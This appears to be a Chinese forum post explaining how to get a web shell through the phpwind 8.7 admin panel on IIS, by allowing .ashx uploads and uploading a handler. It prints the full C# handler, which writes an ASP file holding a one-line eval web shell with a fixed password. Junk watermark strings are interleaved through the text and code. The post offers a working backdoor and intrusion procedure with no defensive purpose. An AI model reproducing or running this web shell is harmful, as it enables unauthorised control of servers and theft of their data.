phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
7 |% n3 K# N% K, B- X
6 v4 _+ n6 ~  F2 \$ _  h- f群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
8 T7 ]2 T, ~) T
& B$ b2 l! R( n0 }' G发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
& I7 n1 x6 q: {+ P0 m2 d
4 h% g/ n: ~9 ]" V4 [2 O+ i然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

+ a, `7 h! M7 Y( e; k打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

下面是代码:

<%@ WebHandler Language="C#"Class="Handler" %>
& h, G7 }) _+ R7 c- q  Qusing System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
+ a9 l/ F) K( ^( S, C5 Epublic void ProcessRequest (HttpContext context) {
" b+ F/ v  C( {3 p- ~context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
8 ]$ v! M7 I+ Rfile1.Flush();
) a$ z' [0 v( ]* y( Ufile1.Close();
}
public bool IsReusable {
get {
- N. q' I& T& i9 }' R/ r2 b- L/ n3 Ireturn false;
; ]: M- m$ X* r% U. H}
) k8 \/ B2 T0 l9 X* q/ c; A0 F}
}
4 C9 q" D( C0 f! |